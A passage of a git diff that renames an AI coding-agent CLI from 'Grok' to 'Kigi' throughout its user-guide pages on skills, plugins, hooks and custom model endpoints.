 | `./.cursor/skills/` | Local / Repo | High | Project Cursor skills (when cursor compat skills are enabled) |
 
-Grok deduplicates skills by name -- a higher-priority location overrides a lower one. Grok also scans `.agents/skills/` (and `commands/`) at each tier (alongside `.kigi/`) and walks every directory between your working directory and the repo root.
+Kigi deduplicates skills by name -- a higher-priority location overrides a lower one. Kigi also scans `.agents/skills/` (and `commands/`) at each tier (alongside `.kigi/`) and walks every directory between your working directory and the repo root.
 
 Flat `*.md` files under a `commands/` directory become user-invocable slash commands (filename stem = command name), matching Claude Code's legacy custom-command layout.
 
 Skill and command discovery does **not** use `.gitignore`. Paths under known skill roots (`.kigi/`, `.agents/`, `.claude/`, `.cursor/`) always load when present on disk — teams often ignore `.claude/**` as local-only config while still expecting `/frontend`-style project commands to work. To hide a skill, use `[skills] ignore` in config (not repo ignore rules).
 
-Grok scans the Claude and Cursor skill directories by default. To stop scanning a vendor, set its `skills` cell to `false` under `[compat.cursor]` or `[compat.claude]` in `~/.kigi/config.toml`, or set the `KIGI_CURSOR_SKILLS_ENABLED` or `KIGI_CLAUDE_SKILLS_ENABLED` environment variable to `false`. See [Configuration](05-configuration.md#harness-compatibility) for details. Grok always filters out known vendor-shipped default skills (such as Cursor's `shell`, `canvas`, and `statusline`), regardless of these settings.
+Kigi scans the Claude and Cursor skill directories by default. To stop scanning a vendor, set its `skills` cell to `false` under `[compat.cursor]` or `[compat.claude]` in `~/.kigi/config.toml`, or set the `KIGI_CURSOR_SKILLS_ENABLED` or `KIGI_CLAUDE_SKILLS_ENABLED` environment variable to `false`. See [Configuration](05-configuration.md#harness-compatibility) for details. Kigi always filters out known vendor-shipped default skills (such as Cursor's `shell`, `canvas`, and `statusline`), regardless of these settings.
 
 ### Additional Skill Directories
 
@@ -45,7 +45,7 @@ ignore = ["~/my-team-skills/wip"]     # Paths to exclude (hidden entirely)
 disabled = ["wip-skill"]              # Skill names to keep listed but inactive
 ```
 
-Each entry in `paths` is a `SKILL.md` file or a directory that Grok walks recursively. `ignore` hides a skill completely; `disabled` keeps it in the list but excludes it from the system prompt and from invocation. `paths` and `ignore` take filesystem paths and support `~` expansion; `disabled` takes skill names.
+Each entry in `paths` is a `SKILL.md` file or a directory that Kigi walks recursively. `ignore` hides a skill completely; `disabled` keeps it in the list but excludes it from the system prompt and from invocation. `paths` and `ignore` take filesystem paths and support `~` expansion; `disabled` takes skill names.
 
 ---
 
@@ -91,10 +91,10 @@ Review staged changes and create a commit with a clear, conventional message.
 
 | Field | Description |
 |-------|-------------|
-| `name` | Skill identifier. Use lowercase letters, digits, and hyphens, up to 64 characters. Grok normalizes spaces and underscores to hyphens. If you omit `name`, Grok uses the skill's directory name. |
-| `description` | What the skill does and when to use it. Grok reads this to decide whether to invoke the skill. If you omit it, Grok uses the first paragraph of the body. |
+| `name` | Skill identifier. Use lowercase letters, digits, and hyphens, up to 64 characters. Kigi normalizes spaces and underscores to hyphens. If you omit `name`, Kigi uses the skill's directory name. |
+| `description` | What the skill does and when to use it. Kigi reads this to decide whether to invoke the skill. If you omit it, Kigi uses the first paragraph of the body. |
 
-Write a specific `description`. It determines when Grok invokes the skill automatically. Name the trigger phrases and use cases.
+Write a specific `description`. It determines when Kigi invokes the skill automatically. Name the trigger phrases and use cases.
 
 ### Optional Frontmatter Fields
 
@@ -111,36 +111,36 @@ Multi-word frontmatter keys use kebab-case (single-word keys like `model` are wr
 | `effort` | Reasoning-effort override. |
 | `license` | License identifier (for example, `Apache-2.0`). |
 | `compatibility` | Environment requirements (for example, `Requires git, docker, jq`). |
-| `metadata` | Arbitrary string key-value pairs. Grok promotes `metadata.author` and `metadata.short-description` for display. |
+| `metadata` | Arbitrary string key-value pairs. Kigi promotes `metadata.author` and `metadata.short-description` for display. |
 
 ---
 
 ## Creating Skills with /create-skill
 
-The `/create-skill` command walks you through building a new skill interactively. Grok asks what you want, drafts the files, and writes them to disk.
+The `/create-skill` command walks you through building a new skill interactively. Kigi asks what you want, drafts the files, and writes them to disk.
 
 ### How It Works
 
-When you run `/create-skill`, Grok:
+When you run `/create-skill`, Kigi:
 
-1. **Gathers requirements.** Grok asks for the skill name, the scope to save it under, and a description of the workflow you want to capture. Use a name with lowercase letters, digits, and hyphens (2–64 characters, starting and ending with a letter or digit).
+1. **Gathers requirements.** Kigi asks for the skill name, the scope to save it under, and a description of the workflow you want to capture. Use a name with lowercase letters, digits, and hyphens (2–64 characters, starting and ending with a letter or digit).
 
-2. **Drafts the description.** Grok writes a `description` that states what the skill does, the phrases that trigger it, and the slash command name. You approve or edit the draft before continuing.
+2. **Drafts the description.** Kigi writes a `description` that states what the skill does, the phrases that trigger it, and the slash command name. You approve or edit the draft before continuing.
 
-3. **Creates the skill directory.** Grok creates the `<scope>/.kigi/skills/<name>/` directory, plus `scripts/` or `references/` subdirectories when the skill needs them.
+3. **Creates the skill directory.** Kigi creates the `<scope>/.kigi/skills/<name>/` directory, plus `scripts/` or `references/` subdirectories when the skill needs them.
 
-4. **Writes SKILL.md.** Grok writes the frontmatter (`name` and `description`) and a markdown body of instructions, along with any supporting files.
+4. **Writes SKILL.md.** Kigi writes the frontmatter (`name` and `description`) and a markdown body of instructions, along with any supporting files.
 
-5. **Verifies and confirms.** Grok reads the file back, confirms it wrote correctly, and tells you how to run the skill.
+5. **Verifies and confirms.** Kigi reads the file back, confirms it wrote correctly, and tells you how to run the skill.
 
 ### Choosing a Scope
 
-Grok asks where to save the skill:
+Kigi asks where to save the skill:
 
-- **Project** (`<repo_root>/.kigi/skills/<name>/`) -- available only in this repository and shareable with teammates through version control. Grok recommends this scope inside a git repository.
+- **Project** (`<repo_root>/.kigi/skills/<name>/`) -- available only in this repository and shareable with teammates through version control. Kigi recommends this scope inside a git repository.
 - **User** (`~/.kigi/skills/<name>/`) -- available across all your projects.
 
-The new skill appears in the slash menu within a few seconds, because Grok reloads skills when files change on disk.
+The new skill appears in the slash menu within a few seconds, because Kigi reloads skills when files change on disk.
 
 ---
 
@@ -161,11 +161,11 @@ Running a skill loads its instructions into the conversation and directs the mod
 /commit fix the build
 ```
 
-To browse your skills, type `/` to open the slash-command menu. Grok lists every built-in command and skill and filters them as you type. To list skills from the command line instead, run `grok inspect` (see [Viewing Skill Details](#viewing-skill-details)).
+To browse your skills, type `/` to open the slash-command menu. Kigi lists every built-in command and skill and filters them as you type. To list skills from the command line instead, run `kigi inspect` (see [Viewing Skill Details](#viewing-skill-details)).
 
 ### Qualified Names
 
-When a skill's name collides with another skill or a built-in command, Grok advertises a qualified name prefixed by the skill's scope -- `local:`, `repo:`, `user:`, or the plugin name. Use the qualified form to choose a specific skill:
+When a skill's name collides with another skill or a built-in command, Kigi advertises a qualified name prefixed by the skill's scope -- `local:`, `repo:`, `user:`, or the plugin name. Use the qualified form to choose a specific skill:
 
 ```
 /local:commit        # The "commit" skill from ./.kigi/skills/
@@ -174,7 +174,7 @@ When a skill's name collides with another skill or a built-in command, Grok adve
 
 ### Automatic Invocation
 
-Grok can invoke a skill on its own when it recognizes a relevant task. Grok matches your prompt against the skill's `description` and `when-to-use` fields, so write both to describe the triggering situation.
+Kigi can invoke a skill on its own when it recognizes a relevant task. Kigi matches your prompt against the skill's `description` and `when-to-use` fields, so write both to describe the triggering situation.
 
 For example, if a skill's description says "Use when the user wants to commit changes," then saying "commit my changes" can trigger that skill automatically. To require an explicit slash command and prevent automatic invocation, set `disable-model-invocation: true` in the frontmatter.
 
@@ -182,14 +182,14 @@ For example, if a skill's description says "Use when the user wants to commit ch
 
 ## Viewing Skill Details
 
-Run `grok inspect` to see every skill Grok discovers, along with the rest of your configuration:
+Run `kigi inspect` to see every skill Kigi discovers, along with the rest of your configuration:
 
 ```bash
-grok inspect          # Human-readable summary
-grok inspect --json   # Machine-readable report
+kigi inspect          # Human-readable summary
+kigi inspect --json   # Machine-readable report
 ```
 
-In the human-readable output, the Skills section lists each skill's name and its source -- `project`, `user`, `bundled`, `config` (a `[skills].paths` entry), `server` (skills synced from the skill store in managed workspaces), or `plugin: <name>`. Grok tags any skill disabled via `[skills].disabled` or from a disabled vendor surface with `[disabled]`.
+In the human-readable output, the Skills section lists each skill's name and its source -- `project`, `user`, `bundled`, `config` (a `[skills].paths` entry), `server` (skills synced from the skill store in managed workspaces), or `plugin: <name>`. Kigi tags any skill disabled via `[skills].disabled` or from a disabled vendor surface with `[disabled]`.
 
 The report honors your `[skills]` config the same way a live session does: skills from `paths` are listed, skills under an `ignore` prefix are hidden, and skills named in `disabled` stay listed but tagged `[disabled]`.
 
@@ -199,9 +199,9 @@ The `--json` report includes the full detail for each skill: its `name`, `descri
 
 ## Bundled and Plugin Skills
 
-Grok ships with built-in skills and extracts them to `~/.kigi/skills/` on startup -- among them `/create-skill`, `/help`, and `/check-work`. Bundled skills behave like user skills, and a same-named skill in a higher-priority location (local or repo) overrides the bundled copy; `grok inspect` labels the extracted copies `bundled` so they stay distinguishable from skills you authored yourself. (A plugin skill of the same name does not override it; it stays available under its qualified `plugin:name` form.)
+Kigi ships with built-in skills and extracts them to `~/.kigi/skills/` on startup -- among them `/create-skill`, `/help`, and `/check-work`. Bundled skills behave like user skills, and a same-named skill in a higher-priority location (local or repo) overrides the bundled copy; `kigi inspect` labels the extracted copies `bundled` so they stay distinguishable from skills you authored yourself. (A plugin skill of the same name does not override it; it stays available under its qualified `plugin:name` form.)
 
-Skills can also come from plugins. When you install a plugin that includes skills, they appear alongside your user and project skills. `grok inspect` labels each plugin-provided skill with its source as `plugin: <name>`.
+Skills can also come from plugins. When you install a plugin that includes skills, they appear alongside your user and project skills. `kigi inspect` labels each plugin-provided skill with its source as `plugin: <name>`.
 
 See the [Plugins guide](09-plugins.md) for more on installing plugins that provide skills.
 
@@ -211,7 +211,7 @@ See the [Plugins guide](09-plugins.md) for more on installing plugins that provi
 
 1. **Write specific descriptions.** The description drives automatic invocation. "Create git commits" is too vague; "Create well-formatted git commits following conventional commit standards. Use when the user wants to commit changes or asks for /commit." works better.
 
-2. **Include concrete steps.** Skills work best when they give Grok a clear, ordered procedure to follow.
+2. **Include concrete steps.** Skills work best when they give Kigi a clear, ordered procedure to follow.
 
 3. **Reference tools by name.** When a skill relies on specific tools (such as `run_terminal_command` or `search_replace`), name them so the model knows what to use.
 
diff --git a/crates/codegen/kigi-tui/docs/user-guide/09-plugins.md b/crates/codegen/kigi-tui/docs/user-guide/09-plugins.md
index 7bd8924..05f2e6a 100644
--- a/crates/codegen/kigi-tui/docs/user-guide/09-plugins.md
+++ b/crates/codegen/kigi-tui/docs/user-guide/09-plugins.md
@@ -15,7 +15,7 @@ A plugin is a directory that holds any combination of these components:
 - **MCP servers** -- a `.mcp.json` file of server configurations
 - **LSP servers** -- a `.lsp.json` file of language server configurations
 
-If a plugin includes a `plugin.json` manifest, the manifest can override paths or add metadata; otherwise components load from the convention directories. The manifest is optional: without one, Grok discovers the components above from their standard directories.
+If a plugin includes a `plugin.json` manifest, the manifest can override paths or add metadata; otherwise components load from the convention directories. The manifest is optional: without one, Kigi discovers the components above from their standard directories.
 
 For example, a `team-tools` plugin might include a deploy skill, a code-review agent, pre-commit hooks, and a Linear MCP server. Install them together in one step.
 
@@ -28,25 +28,25 @@ Plugin hooks receive two environment variables beyond the standard ones set for
 | `KIGI_PLUGIN_ROOT`   | Absolute path to the plugin's installed directory. |
 | `KIGI_PLUGIN_DATA`   | Absolute path to the plugin's writable data directory, for plugin state, caches, and logs. |
 
-Grok sets these values and overrides any value you declare for the same key in the hook JSON's `env` map. (Grok also sets the `CLAUDE_PLUGIN_ROOT` and `CLAUDE_PLUGIN_DATA` aliases for compatibility.) See the [Hooks guide](10-hooks.md) for every environment variable passed to hooks.
+Kigi sets these values and overrides any value you declare for the same key in the hook JSON's `env` map. (Kigi also sets the `CLAUDE_PLUGIN_ROOT` and `CLAUDE_PLUGIN_DATA` aliases for compatibility.) See the [Hooks guide](10-hooks.md) for every environment variable passed to hooks.
 
 ---
 
 ## Plugin locations
 
-Grok discovers plugins from these locations, in priority order:
+Kigi discovers plugins from these locations, in priority order:
 
 | Location | Scope | Trust |
 |----------|-------|-------|
 | `_meta.pluginDirs` (`session/new` / `session/load`) | Session -- loaded for that session only | Trusted automatically |
-| `--plugin-dir` (CLI flag, `grok agent`) | Process -- loaded for that agent process only | Trusted automatically |
+| `--plugin-dir` (CLI flag, `kigi agent`) | Process -- loaded for that agent process only | Trusted automatically |
 | `.kigi/plugins/` | Project -- shared with the team through version control | Requires trust |
 | `~/.kigi/plugins/` | User -- personal plugins for every project | Trusted automatically |
 | `[plugins].paths` (config) | Custom directories you add in `config.toml` | Depends on location |
 
-Grok also reads the `.claude/plugins/` equivalents for compatibility. When two plugins share a name, the higher-priority location wins.
+Kigi also reads the `.claude/plugins/` equivalents for compatibility. When two plugins share a name, the higher-priority location wins.
 
-The Agent SDKs load per-session plugins through `GrokOptions.plugins`, which arrives as `_meta.pluginDirs` on `session/new` and `session/load`; because the caller controls the directory, these plugins are always trusted -- their hooks and MCP servers activate without a prompt, and they never persist beyond the session. The `--plugin-dir` flag is the process-wide equivalent for direct CLI use (repeatable: `grok agent --no-leader --plugin-dir A --plugin-dir B stdio`); it applies to dedicated agent processes only and is ignored in leader mode (the shared leader discovers its own plugins).
+The Agent SDKs load per-session plugins through `KigiOptions.plugins`, which arrives as `_meta.pluginDirs` on `session/new` and `session/load`; because the caller controls the directory, these plugins are always trusted -- their hooks and MCP servers activate without a prompt, and they never persist beyond the session. The `--plugin-dir` flag is the process-wide equivalent for direct CLI use (repeatable: `kigi agent --no-leader --plugin-dir A --plugin-dir B stdio`); it applies to dedicated agent processes only and is ignored in leader mode (the shared leader discovers its own plugins).
 
 ---
 
@@ -88,18 +88,18 @@ Use these keys in the Plugins tab:
 ### Plugin commands
 
 ```bash
-grok plugin list [--json] [--available]   # List installed plugins (--available requires --json)
-grok plugin install <source> --trust      # Git URL, GitHub shorthand (user/repo), or local path
-grok plugin uninstall <name> [--confirm] [--keep-data]   # Aliases: rm, remove
-grok plugin update [<name>]               # Omit the name to update all plugins
-grok plugin enable <name>
-grok plugin disable <name>
-grok plugin details <name>                # Show the plugin's component inventory
-grok plugin validate [<path>]             # Validate plugin.json (default: current directory)
-grok plugin tag [<path>] [--push] [--force] [--dry-run]   # Tag a release from the manifest version
+kigi plugin list [--json] [--available]   # List installed plugins (--available requires --json)
+kigi plugin install <source> --trust      # Git URL, GitHub shorthand (user/repo), or local path
+kigi plugin uninstall <name> [--confirm] [--keep-data]   # Aliases: rm, remove
+kigi plugin update [<name>]               # Omit the name to update all plugins
+kigi plugin enable <name>
+kigi plugin disable <name>
+kigi plugin details <name>                # Show the plugin's component inventory
+kigi plugin validate [<path>]             # Validate plugin.json (default: current directory)
+kigi plugin tag [<path>] [--push] [--force] [--dry-run]   # Tag a release from the manifest version
 ```
 
-Run `grok plugin install <source>` without `--trust` and Grok prints the source and warns that installing will activate the plugin's hooks, MCP servers, and skills, then stops without installing. Add `--trust` to install it.
+Run `kigi plugin install <source>` without `--trust` and Kigi prints the source and warns that installing will activate the plugin's hooks, MCP servers, and skills, then stops without installing. Add `--trust` to install it.
 
 The `<source>` argument accepts:
 
@@ -124,21 +124,21 @@ disable_plugins = true
 
 Enabling a plugin loads its skills, slash commands, and agents. Trust is separate and controls whether a plugin's code runs: even for an enabled plugin, its hooks, MCP servers, and LSP servers stay inactive until you trust it. This prevents an untrusted repository from running code on your machine.
 
-Grok trusts plugins from `~/.kigi/plugins/` automatically. Project plugins in `.kigi/plugins/` require explicit trust. To trust a plugin, install it with `--trust`:
+Kigi trusts plugins from `~/.kigi/plugins/` automatically. Project plugins in `.kigi/plugins/` require explicit trust. To trust a plugin, install it with `--trust`:
 
 ```bash
-grok plugin install <source> --trust
+kigi plugin install <source> --trust
 ```
 
 ---
 
 ## Inspect plugins
 
-Run `grok inspect` to see every discovered plugin and what it provides:
+Run `kigi inspect` to see every discovered plugin and what it provides:
 
 ```bash
-grok inspect          # Show plugins with their skills, agents, hooks, and MCP servers
-grok inspect --json   # Emit machine-readable JSON
+kigi inspect          # Show plugins with their skills, agents, hooks, and MCP servers
+kigi inspect --json   # Emit machine-readable JSON
 ```
 
 Plugin-provided components appear in their sections (Skills, Agents, MCP Servers, and so on) with a `plugin: <name>` label, so you can see where each component originates.
diff --git a/crates/codegen/kigi-tui/docs/user-guide/10-hooks.md b/crates/codegen/kigi-tui/docs/user-guide/10-hooks.md
index addfa98..93b737a 100644
--- a/crates/codegen/kigi-tui/docs/user-guide/10-hooks.md
+++ b/crates/codegen/kigi-tui/docs/user-guide/10-hooks.md
@@ -1,12 +1,12 @@
 # Hooks
 
-Hooks let you run a script or send an HTTP request at key moments in a Grok session. Use them to automate tasks, enforce safety checks, log activity, send notifications, and integrate your own tools.
+Hooks let you run a script or send an HTTP request at key moments in a Kigi session. Use them to automate tasks, enforce safety checks, log activity, send notifications, and integrate your own tools.
 
 ---
 
 ## What Are Hooks?
 
-A hook is a shell command or HTTP endpoint that Grok calls when a specific lifecycle event occurs. Hooks can:
+A hook is a shell command or HTTP endpoint that Kigi calls when a specific lifecycle event occurs. Hooks can:
 
 - **Block actions** -- A `PreToolUse` hook can deny a dangerous command before it runs.
 - **React to events** -- A `PostToolUse` hook can log every tool execution to a file.
@@ -41,7 +41,7 @@ A hook is a shell command or HTTP endpoint that Grok calls when a specific lifec
        "SessionStart": [
          {
            "hooks": [
-             { "type": "command", "command": "echo 'Grok session started in '$(pwd)" }
+             { "type": "command", "command": "echo 'Kigi session started in '$(pwd)" }
            ]
          }
        ]
@@ -49,7 +49,7 @@ A hook is a shell command or HTTP endpoint that Grok calls when a specific lifec
    }
    ```
 
-3. Start (or restart) a Grok session. The hook runs automatically on `SessionStart`.
+3. Start (or restart) a Kigi session. The hook runs automatically on `SessionStart`.
 
 4. Press `Ctrl+L` on non–VS Code family terminals (or run `/hooks` anywhere — preferred on VS Code family) and check the Hooks tab to confirm it loaded.
 
@@ -100,7 +100,7 @@ Because hooks are unified under folder-trust, a `--trust` / `/hooks-trust` grant
 
 ### Cursor Hook Compatibility
 
-Grok accepts Cursor's camelCase hook event names, so `~/.cursor/hooks.json` loads unchanged:
+Kigi accepts Cursor's camelCase hook event names, so `~/.cursor/hooks.json` loads unchanged:
 
 | Cursor event | Maps to |
 |---|---|
@@ -145,7 +145,7 @@ Each `.json` file can define hooks for multiple events:
 
 ### Key Fields
 
-- **Event name** (top-level key): any event listed in [Hook Events](#hook-events). Grok skips unrecognized event names so a shared Claude or Cursor settings file still loads.
+- **Event name** (top-level key): any event listed in [Hook Events](#hook-events). Kigi skips unrecognized event names so a shared Claude or Cursor settings file still loads.
 - **matcher** (optional): A regular expression that selects which invocations trigger the hook. It applies to the tool events — `PreToolUse`, `PostToolUse`, `PostToolUseFailure`, and `PermissionDenied` — where it tests the tool name, and to `Notification`, where it tests the notification type. The lifecycle events (`SessionStart`, `SessionEnd`, `Stop`, `UserPromptSubmit`) reject a matcher; other events ignore it. An empty or omitted matcher matches everything. The matcher tests the real tool name; MCP calls routed through the internal `use_tool` dispatcher appear as the qualified `server__tool` name (e.g. `linear__save_issue`), so match on that, not the dispatcher name.
 - **type**: `"command"` (run a script or shell one-liner) or `"http"` (POST the event to a URL).
 - **command**: Path to executable (relative to the JSON file) or inline shell command.
@@ -153,7 +153,7 @@ Each `.json` file can define hooks for multiple events:
 
 ### Tool Name Aliases
 
-In a `matcher`, Grok maps Claude-style tool names to its own so hooks migrated from Claude fire correctly. Common aliases include:
+In a `matcher`, Kigi maps Claude-style tool names to its own so hooks migrated from Claude fire correctly. Common aliases include:
 
 - `Bash` → `run_terminal_command`
 - `Read` → `read_file`
@@ -206,7 +206,7 @@ For events like `SessionStart` or `PostToolUse`, stdout is ignored. Just exit 0
 
 ### Environment Variables
 
-Grok sets several environment variables on every hook process. These are useful when writing context-aware or plugin-aware hook scripts.
+Kigi sets several environment variables on every hook process. These are useful when writing context-aware or plugin-aware hook scripts.
 
 #### Runner-injected variables (always available)
 
@@ -216,7 +216,7 @@ These variables are set by the hook runner for **every** hook:
 |-----------------------|-------------|
 | `KIGI_HOOK_EVENT`     | The name of the event that triggered the hook (e.g. `pre_tool_use`, `session_start`, `post_tool_use`, `session_end`, `stop`, `notification`). |
 | `KIGI_HOOK_NAME`      | The configured name of this specific hook (includes the plugin prefix for plugin-provided hooks). |
-| `KIGI_SESSION_ID`     | The unique identifier of the current Grok session. |
+| `KIGI_SESSION_ID`     | The unique identifier of the current Kigi session. |
 | `KIGI_WORKSPACE_ROOT` | Absolute path to the root of the current workspace. |
 | `CLAUDE_PROJECT_DIR`  | Absolute path to the workspace root. A Claude Code-compatible alias for `KIGI_WORKSPACE_ROOT`, set for every hook. |
 
@@ -224,7 +224,7 @@ These variables are **reserved**. Any values you attempt to set for them via the
 
 #### Plugin hook variables
 
-When a hook originates from a plugin, Grok additionally injects the following variables:
+When a hook originates from a plugin, Kigi additionally injects the following variables:
 
 | Variable             | Description |
 |----------------------|-------------|
@@ -261,7 +261,7 @@ Both `command` and `url` support `${VAR}` and `$VAR` expansion. See the custom-h
 Instead of a local script, call a remote endpoint:
 
 ```json
-{ "type": "http", "url": "https://hooks.example.com/grok-event", "timeout": 15 }
+{ "type": "http", "url": "https://hooks.example.com/kigi-event", "timeout": 15 }
 ```
 
 The full event envelope is POSTed as JSON.
@@ -308,7 +308,7 @@ Enable or disable an individual hook at runtime by pressing `Space` in the Hooks
 
 ### Mid-Session Reload
 
-Press `r` in the Hooks tab to reload all hooks from disk. Grok re-reads every hook source, so this picks up changes you made to hook files during the session.
+Press `r` in the Hooks tab to reload all hooks from disk. Kigi re-reads every hook source, so this picks up changes you made to hook files during the session.
 
 ---
 
@@ -378,4 +378,4 @@ echo '{"decision": "allow"}'
 - **Hook not running?** Press `Ctrl+L` on non–VS Code family (or run `/hooks` anywhere) to see if it is loaded and matched.
 - **Project hooks ignored?** The folder may be untrusted. Run `/hooks-trust` (or relaunch with `--trust`).
 - **Script not found?** Check the path is relative to the `.json` file and executable (`chmod +x`).
-- **See errors?** Capture logs by launching with `RUST_LOG=debug KIGI_LOG_FILE=/tmp/grok.log grok`, then check `/tmp/grok.log`.
+- **See errors?** Capture logs by launching with `RUST_LOG=debug KIGI_LOG_FILE=/tmp/kigi.log kigi`, then check `/tmp/kigi.log`.
diff --git a/crates/codegen/kigi-tui/docs/user-guide/11-custom-models.md b/crates/codegen/kigi-tui/docs/user-guide/11-custom-models.md
index a2ccb1b..4566b00 100644
--- a/crates/codegen/kigi-tui/docs/user-guide/11-custom-models.md
+++ b/crates/codegen/kigi-tui/docs/user-guide/11-custom-models.md
@@ -1,17 +1,17 @@
 # Custom Models
 
-Grok connects to custom model endpoints for alternative providers, self-hosted models, and overriding built-in settings. This guide explains how to select models, configure endpoints, and integrate third-party providers.
+Kigi connects to custom model endpoints for alternative providers, self-hosted models, and overriding built-in settings. This guide explains how to select models, configure endpoints, and integrate third-party providers.
 
 ---
 
 ## Default Models
 
-By default, Grok uses models hosted by SpaceXAI, and new sessions start with `grok-build`. Default models require no configuration. Authenticate with `grok login` or an API key, then start a session.
+By default, Kigi uses models hosted by SpaceXAI, and new sessions start with `kigi`. Default models require no configuration. Authenticate with `kigi login` or an API key, then start a session.
 
 List all available models:
 
 ```bash
-grok models
+kigi models
 ```
 
 ---
@@ -21,7 +21,7 @@ grok models
 ### CLI Flag
 
 ```bash
-grok -p "Hello" -m grok-build
+kigi -p "Hello" -m kigi
 ```
 
 ### Slash Command
@@ -29,13 +29,13 @@ grok -p "Hello" -m grok-build
 In the TUI, switch models during a session:
 
 ```
-/model grok-build
+/model kigi
 ```
 
 Or use the alias:
 
 ```
-/m grok-build
+/m kigi
 ```
 
 ### Model Picker (Ctrl+M)
@@ -48,14 +48,14 @@ Set a persistent default in `~/.kigi/config.toml`:
 
 ```toml
 [models]
-default = "grok-build"
+default = "kigi"
 ```
 
 ---
 
 ## Supported API Backends
 
-Grok supports three API backends. Set `api_backend` in your `[model.*]` config to choose which protocol the model uses:
+Kigi supports three API backends. Set `api_backend` in your `[model.*]` config to choose which protocol the model uses:
 
 | Value | API | Default |
 |-------|-----|---------|
@@ -63,9 +63,9 @@ Grok supports three API backends. Set `api_backend` in your `[model.*]` config t
 | `"responses"` | OpenAI Responses (`/v1/responses`) | |
 | `"messages"` | Anthropic Messages (`/v1/messages`) | |
 
-When you omit `api_backend`, Grok uses `chat_completions`.
+When you omit `api_backend`, Kigi uses `chat_completions`.
 
-To send provider-specific authentication or version headers -- for example, Anthropic's `x-api-key` -- use the `extra_headers` field described below. Grok sends those headers verbatim with every request to the endpoint.
+To send provider-specific authentication or version headers -- for example, Anthropic's `x-api-key` -- use the `extra_headers` field described below. Kigi sends those headers verbatim with every request to the endpoint.
 
 ---
 
@@ -91,16 +91,16 @@ extra_headers = { "x-api-key" = "sk-..." } # Extra request headers, sent verbati
 
 ### Credential Resolution
 
-Grok resolves the API key in this order:
+Kigi resolves the API key in this order:
 
 1. The `api_key` field in the model config
 2. The environment variable(s) named by `env_key` — a single string or an array of names. The first set, non-empty value wins (for example `env_key = ["ANTHROPIC_AUTH_TOKEN", "LC_ANTHROPIC_AUTH_TOKEN"]` for SSH `LC_*` forwarding)
-3. Your signed-in session token (from `grok login`), for a model with no `api_key`/`env_key` of its own
-4. The `XAI_API_KEY` environment variable (global fallback; Grok also accepts `KIGI_CODE_XAI_API_KEY` for backward compatibility)
+3. Your signed-in session token (from `kigi login`), for a model with no `api_key`/`env_key` of its own
+4. The `XAI_API_KEY` environment variable (global fallback; Kigi also accepts `KIGI_CODE_XAI_API_KEY` for backward compatibility)
 
 ### Context Window
 
-The `context_window` value tells Grok when to trigger auto-compaction. When you override a known model, Grok inherits that model's context window. When you define a new model and omit `context_window`, Grok defaults to 200,000 tokens, so set it explicitly to match your provider.
+The `context_window` value tells Kigi when to trigger auto-compaction. When you override a known model, Kigi inherits that model's context window. When you define a new model and omit `context_window`, Kigi defaults to 200,000 tokens, so set it explicitly to match your provider.
 
 ### Global Default Headers
 
@@ -148,7 +148,7 @@ temperature = 0.5
 api_key = "sk-custom"
 ```
 
-When you override a built-in model, Grok starts with the default configuration (including the correct `base_url`), then applies only the fields you specify. Unspecified fields inherit from the default.
+When you override a built-in model, Kigi starts with the default configuration (including the correct `base_url`), then applies only the fields you specify. Unspecified fields inherit from the default.
 
 ### Priority Order
 
@@ -174,7 +174,7 @@ context_window = 200000
 extra_headers = { "x-api-key" = "sk-ant-...", "anthropic-version" = "2023-06-01" }
 ```
 
-The `messages` backend uses the Anthropic Messages protocol. Anthropic authenticates with an `x-api-key` header rather than `Authorization: Bearer`, so pass your key through `extra_headers`, which Grok sends verbatim.
+The `messages` backend uses the Anthropic Messages protocol. Anthropic authenticates with an `x-api-key` header rather than `Authorization: Bearer`, so pass your key through `extra_headers`, which Kigi sends verbatim.
 
 ### OpenAI (Chat Completions)
 
@@ -240,14 +240,14 @@ temperature = 0.8
 
 ## Custom Models Endpoint
 
-Point Grok at a custom OpenAI-compatible `/v1/models` endpoint instead of the default. Use this when your models sit behind a corporate gateway or a self-hosted inference service.
+Point Kigi at a custom OpenAI-compatible `/v1/models` endpoint instead of the default. Use this when your models sit behind a corporate gateway or a self-hosted inference service.
 
 ### Environment Variables
 
 | Variable | Required | Description |
 |----------|----------|-------------|
-| `KIGI_MODELS_BASE_URL` | Yes | Base URL for inference. Grok fetches the model list from `{base_url}/models`. |
-| `XAI_API_KEY` | Yes | API key sent as `Authorization: Bearer`. Grok also accepts `KIGI_CODE_XAI_API_KEY`. |
+| `KIGI_MODELS_BASE_URL` | Yes | Base URL for inference. Kigi fetches the model list from `{base_url}/models`. |
+| `XAI_API_KEY` | Yes | API key sent as `Authorization: Bearer`. Kigi also accepts `KIGI_CODE_XAI_API_KEY`. |
 | `KIGI_MODELS_LIST_URL` | No | Override the model-list URL when it differs from `{base_url}/models`. |
 
 ### Setup
@@ -255,7 +255,7 @@ Point Grok at a custom OpenAI-compatible `/v1/models` endpoint instead of the de
 ```bash
 export KIGI_MODELS_BASE_URL="https://api.acme.com/v1"
 export XAI_API_KEY="xai-..."
-grok
+kigi
 ```
 
 ### Config File Alternative
@@ -269,11 +269,11 @@ models_base_url = "https://api.acme.com/v1"
 api_key = "my-api-key"
 ```
 
-When you use `[endpoints]` with partial model overrides, Grok inherits the `base_url` from the endpoints config, so you do not need to specify it in each `[model.*]` section.
+When you use `[endpoints]` with partial model overrides, Kigi inherits the `base_url` from the endpoints config, so you do not need to specify it in each `[model.*]` section.
 
 ### Auth Behavior
 
-When you set `models_base_url`, Grok uses API key auth (`Authorization: Bearer`) instead of session auth. You do not need `grok login` -- the API key is enough.
+When you set `models_base_url`, Kigi uses API key auth (`Authorization: Bearer`) instead of session auth. You do not need `kigi login` -- the API key is enough.
 
 ---
 
@@ -281,13 +281,13 @@ When you set `models_base_url`, Grok uses API key auth (`Authorization: Bearer`)
 
 ```bash
 # List available models (including custom)
-grok models
+kigi models
 
 # Use in the TUI via slash command
 /model my-model
 
 # Use in headless mode
-grok -p "Hello" -m my-model
+kigi -p "Hello" -m my-model
 
 # Set as default in config.toml:
 [models]
@@ -310,12 +310,12 @@ auth_provider_label = "Acme Corp"
 auth_token_ttl = 3600
 
 [models]
-default = "company-grok"
+default = "company-kigi"
 
-[model.company-grok]
-model = "grok-build"
-base_url = "https://grok-proxy.acme.com/"
-name = "Grok Build Latest (Proxy)"
+[model.company-kigi]
+model = "kigi"
+base_url = "https://kigi-proxy.acme.com/"
+name = "Kigi Latest (Proxy)"
 context_window = 128000
 
 [features]
@@ -330,7 +330,7 @@ telemetry = false
 
 ```bash
 # List available models
-grok models
+kigi models
 
